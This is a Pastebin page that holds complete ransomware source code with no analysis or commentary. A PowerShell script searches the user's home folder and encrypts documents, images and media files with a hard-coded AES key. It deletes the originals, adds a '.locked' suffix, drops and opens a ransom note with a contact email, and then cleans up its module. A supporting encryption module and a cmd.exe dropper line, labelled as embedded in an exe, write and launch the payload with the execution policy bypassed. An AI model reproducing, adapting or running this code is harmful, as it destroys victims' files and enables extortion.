Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- cry.ps1:
- Import-Module Cipher $files = get-childitem $home -recurse -Include *.gif, *.jpg, *.xls, *.doc, *.pdf, *.wav, *.ppt, *.txt, *.png, *.bmp, *.mp3, *.mp4, *.avi | where {! $_.PSIsContainer} foreach ($file in $files) { Protect-File $file -Algorithm AES -KeyAsPlainText Zjc5OTA0MDQ2OWM1MjgyNjBhMTFjZGI3NDVlYmUzMDU= -Suffix '.locked' -RemoveSource } echo 'Your personal files have been encrypted, send an email to [email protected] to recover them. Your ID: d7b9-068a-8e17' > $home\Desktop\Readme_now.txt start $home\Desktop\Readme_now.txt Remove-Item -path $home\Documents\WindowsPowerShell\Modules\Cipher\*
- Cipher.psm1:
- function New-CryptographyKey() {
- [CmdletBinding()]
- [OutputType([System.Security.SecureString])]
- [OutputType([String], ParameterSetName='PlainText')]
- Param([Parameter(Mandatory=$false, Position=1)]
- [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')]
- [String]$Algorithm='AES',
- [Parameter(Mandatory=$false, Position=2)]
- [Int]$KeySize,
- [Parameter(ParameterSetName='PlainText')]
- [Switch]$AsPlainText)
- Process {
- try {
- $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm)
- if($PSBoundParameters.ContainsKey('KeySize')){
- $Crypto.KeySize = $KeySize }
- $Crypto.GenerateKey()
- if($AsPlainText) {
- return [System.Convert]::ToBase64String($Crypto.Key) }
- else {
- return [System.Convert]::ToBase64String($Crypto.Key) | ConvertTo-SecureString -AsPlainText -Force } }
- catch { Write-Error $_ } } }
- Function Protect-File {
- [CmdletBinding(DefaultParameterSetName='SecureString')]
- [OutputType([System.IO.FileInfo[]])]
- Param([Parameter(Mandatory=$true, Position=1, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)]
- [Alias('PSPath','LiteralPath')]
- [string[]]$FileName,
- [Parameter(Mandatory=$false, Position=2)]
- [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')]
- [String]$Algorithm = 'AES',
- [Parameter(Mandatory=$false, Position=3, ParameterSetName='SecureString')]
- [System.Security.SecureString]$Key = (New-CryptographyKey -Algorithm $Algorithm),
- [Parameter(Mandatory=$true, Position=3, ParameterSetName='PlainText')]
- [String]$KeyAsPlainText,
- [Parameter(Mandatory=$false, Position=4)]
- [System.Security.Cryptography.CipherMode]$CipherMode,
- [Parameter(Mandatory=$false, Position=5)]
- [System.Security.Cryptography.PaddingMode]$PaddingMode,
- [Parameter(Mandatory=$false, Position=6)]
- [String]$Suffix = ".$Algorithm",
- [Parameter()]
- [Switch]$RemoveSource)
- Begin { try {
- if($PSCmdlet.ParameterSetName -eq 'PlainText') {
- $Key = $KeyAsPlainText | ConvertTo-SecureString -AsPlainText -Force}
- $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Key)
- $EncryptionKey = [System.Convert]::FromBase64String([System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR))
- $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm)
- if($PSBoundParameters.ContainsKey('CipherMode')){
- $Crypto.Mode = $CipherMode }
- if($PSBoundParameters.ContainsKey('PaddingMode')){
- $Crypto.Padding = $PaddingMode }
- $Crypto.KeySize = $EncryptionKey.Length*8
- $Crypto.Key = $EncryptionKey }
- Catch { Write-Error $_ -ErrorAction Stop } }
- Process {
- $Files = Get-Item -LiteralPath $FileName
- ForEach($File in $Files) { $DestinationFile = $File.FullName + $Suffix
- Try {
- $FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open)
- $FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create)
- $Crypto.GenerateIV()
- $FileStreamWriter.Write([System.BitConverter]::GetBytes($Crypto.IV.Length), 0, 4)
- $FileStreamWriter.Write($Crypto.IV, 0, $Crypto.IV.Length)
- $Transform = $Crypto.CreateEncryptor()
- $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write)
- $FileStreamReader.CopyTo($CryptoStream)
- $CryptoStream.FlushFinalBlock()
- $CryptoStream.Close()
- $FileStreamReader.Close()
- $FileStreamWriter.Close()
- if($RemoveSource){Remove-Item -LiteralPath $File.FullName}
- $result = Get-Item $DestinationFile
- $result | Add-Member -MemberType NoteProperty -Name SourceFile -Value $File.FullName
- $result | Add-Member -MemberType NoteProperty -Name Algorithm -Value $Algorithm
- $result | Add-Member -MemberType NoteProperty -Name Key -Value $Key
- $result | Add-Member -MemberType NoteProperty -Name CipherMode -Value $Crypto.Mode
- $result | Add-Member -MemberType NoteProperty -Name PaddingMode -Value $Crypto.Padding
- $result }
- Catch { Write-Error $_
- If($FileStreamWriter)
- { $FileStreamWriter.Close()
- Remove-Item -LiteralPath $DestinationFile -Force }
- Continue
- } Finally { if($CryptoStream){$CryptoStream.Close()}
- if($FileStreamReader){$FileStreamReader.Close()}
- if($FileStreamWriter){$FileStreamWriter.Close()} } } } }
- embedded in exe:
- cmd.exe /c mkdir %USERPROFILE%\Documents\WindowsPowerShell\Modules\Cipher & cd %USERPROFILE%\Documents\WindowsPowerShell\Modules\Cipher & echo function New-CryptographyKey() { > Cipher.psm1 & echo [CmdletBinding()] >> Cipher.psm1 & ech
- o [OutputType([System.Security.SecureString])] >> Cipher.psm1 & echo [OutputType([String], ParameterSetName='PlainText')] >> Cipher.psm1 & echo Param([Parameter(Mandatory=$false, Position=1)] >> Cipher.psm1 & echo [ValidateSet('AES','DES','
- RC2','Rijndael','TripleDES')] >> Cipher.psm1 & echo [String]$Algorithm='AES', >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=2)] >> Cipher.psm1 & echo [Int]$KeySize, >> Cipher.psm1 & echo [Parameter(ParameterSetName=
- 'PlainText')] >> Cipher.psm1 & echo [Switch]$AsPlainText) >> Cipher.psm1 & echo Process { >> Cipher.psm1 & echo try { >> Cipher.psm1 & echo $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create
- ($Algorithm) >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('KeySize')){ >> Cipher.psm1 & echo $Crypto.KeySize = $KeySize } >> Cipher.psm1 & echo $Crypto.GenerateKey() >> Cipher.psm1 &
- echo if($AsPlainText) { >> Cipher.psm1 & echo return [System.Convert]::ToBase64String($Crypto.Key) } >> Cipher.psm1 & echo else { >> Cipher.psm1 & echo return [System
- .Convert]::ToBase64String($Crypto.Key) ^| ConvertTo-SecureString -AsPlainText -Force } } >> Cipher.psm1 & echo catch { Write-Error $_ } } } >> Cipher.psm1 & echo Function Protect-File { >> Cip
- her.psm1 & echo [CmdletBinding(DefaultParameterSetName='SecureString')] >> Cipher.psm1 & echo [OutputType([System.IO.FileInfo[]])] >> Cipher.psm1 & echo Param([Parameter(Mandatory=$true, Position=1, ValueFromPipeline=$true, ValueFromPipelineByPr
- opertyName=$true)] >> Cipher.psm1 & echo [Alias('PSPath','LiteralPath')] >> Cipher.psm1 & echo [string[]]$FileName, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=2)] >> Cipher.psm1 & echo [ValidateSet('AES','DES'
- ,'RC2','Rijndael','TripleDES')] >> Cipher.psm1 & echo [String]$Algorithm = 'AES', >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=3, ParameterSetName='SecureString')] >> Cipher.psm1 & echo [System.Security.SecureString]$K
- ey = (New-CryptographyKey -Algorithm $Algorithm), >> Cipher.psm1 & echo [Parameter(Mandatory=$true, Position=3, ParameterSetName='PlainText')] >> Cipher.psm1 & echo [String]$KeyAsPlainText, >> Cipher.psm1 & echo [Parameter(Mandatory=
- $false, Position=4)] >> Cipher.psm1 & echo [System.Security.Cryptography.CipherMode]$CipherMode, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=5)] >> Cipher.psm1 & echo [System.Security.Cryptography.PaddingMode]$Paddin
- gMode, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=6)] >> Cipher.psm1 & echo [String]$Suffix = ".$Algorithm", >> Cipher.psm1 & echo [Parameter()] >> Cipher.psm1 & echo [Switch]$RemoveSource) >> Cipher.psm1 & echo
- Begin { try { >> Cipher.psm1 & echo if($PSCmdlet.ParameterSetName -eq 'PlainText') { >> Cipher.psm1 & echo $Key = $KeyAsPlainText ^| ConvertTo-SecureString -AsPlainText -Force} >> Cipher.psm1 & echo
- $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Key) >> Cipher.psm1 & echo $EncryptionKey = [System.Convert]::FromBase64String([System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)) >> Ciphe
- r.psm1 & echo $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('CipherMode')){ >> Cipher.psm1 & echo $Crypto.Mode = $
- CipherMode } >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('PaddingMode')){ >> Cipher.psm1 & echo $Crypto.Padding = $PaddingMode } >> Cipher.psm1 & echo $Crypto.KeySize = $EncryptionKey.Length*8
- >> Cipher.psm1 & echo $Crypto.Key = $EncryptionKey } >> Cipher.psm1 & echo Catch { Write-Error $_ -ErrorAction Stop } } >> Cipher.psm1 & echo Process { >> Cipher.psm1 & echo $Files = Get-Item -Literal
- Path $FileName >> Cipher.psm1 & echo ForEach($File in $Files) { $DestinationFile = $File.FullName + $Suffix >> Cipher.psm1 & echo Try { >> Cipher.psm1 & echo $FileStreamReader = New-Object System
- .IO.FileStream($File.FullName, [System.IO.FileMode]::Open) >> Cipher.psm1 & echo $FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create) >> Cipher.psm1 & echo $Crypto.Ge
- nerateIV() >> Cipher.psm1 & echo $FileStreamWriter.Write([System.BitConverter]::GetBytes($Crypto.IV.Length), 0, 4) >> Cipher.psm1 & echo $FileStreamWriter.Write($Crypto.IV, 0, $Crypto.IV.Length) >> Cipher.psm1 &
- echo $Transform = $Crypto.CreateEncryptor() >> Cipher.psm1 & echo $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]
- ::Write) >> Cipher.psm1 & echo $FileStreamReader.CopyTo($CryptoStream) >> Cipher.psm1 & echo $CryptoStream.FlushFinalBlock() >> Cipher.psm1 & echo $CryptoStream.Close() >> Cipher.psm1 & echo
- $FileStreamReader.Close() >> Cipher.psm1 & echo $FileStreamWriter.Close() >> Cipher.psm1 & echo if($RemoveSource){Remove-Item -LiteralPath $File.FullName} >> Cipher.psm1 & echo $result =
- Get-Item $DestinationFile >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name SourceFile -Value $File.FullName >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name Algo
- rithm -Value $Algorithm >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name Key -Value $Key >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name CipherMode -Value $Cryp
- to.Mode >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name PaddingMode -Value $Crypto.Padding >> Cipher.psm1 & echo $result } >> Cipher.psm1 & echo Catch { Write-E
- rror $_ >> Cipher.psm1 & echo If($FileStreamWriter) >> Cipher.psm1 & echo { $FileStreamWriter.Close() >> Cipher.psm1 & echo Remove-Item -LiteralPath $DestinationFile -Force } >> Cipher.psm1 &
- echo Continue >> Cipher.psm1 & echo } Finally { if($CryptoStream){$CryptoStream.Close()} >> Cipher.psm1 & echo if($FileStreamReader){$FileStreamReader.Close()} >> Cipher.psm1 & echo
- if($FileStreamWriter){$FileStreamWriter.Close()} } } } } >> Cipher.psm1 & echo Import-Module Cipher > cry.ps1 & echo $files = get-childitem $home -recurse -Include *.gif, *.jpg, *.xls, *.doc, *.pdf, *.wav, *.ppt, *.txt, *.png, *.bmp, *.m
- p3, *.mp4, *.avi ^| where {^! $_.PSIsContainer} >> cry.ps1 & echo foreach ($file in $files) { Protect-File $file -Algorithm AES -KeyAsPlainText Zjc5OTA0MDQ2OWM1MjgyNjBhMTFjZGI3NDVlYmUzMDU= -Suffix '.locked' -RemoveSource } >> cry.ps1 & echo ech
- o 'Your personal files have been encrypted, send an email to [email protected] to recover them. Your ID: d7b9-068a-8e17' ^> $home\Desktop\Readme_now.txt >> cry.ps1 & echo start $home\Desktop\Readme_now.txt >> cry.ps1 & exit
- cmd.exe /c cd %USERPROFILE%\Documents\WindowsPowerShell\Modules\Cipher & echo Remove-Item -path $home\Documents\WindowsPowerShell\Modules\Cipher\* >> %USERPROFILE%\Documents\WindowsPowerShell\Modules\Cipher\cry.ps1 & powershell -Execut
- ionPolicy ByPass -File %USERPROFILE%\Documents\WindowsPowerShell\Modules\Cipher\cry.ps1 & exit
Advertisement
Add Comment
Please, Sign In to add comment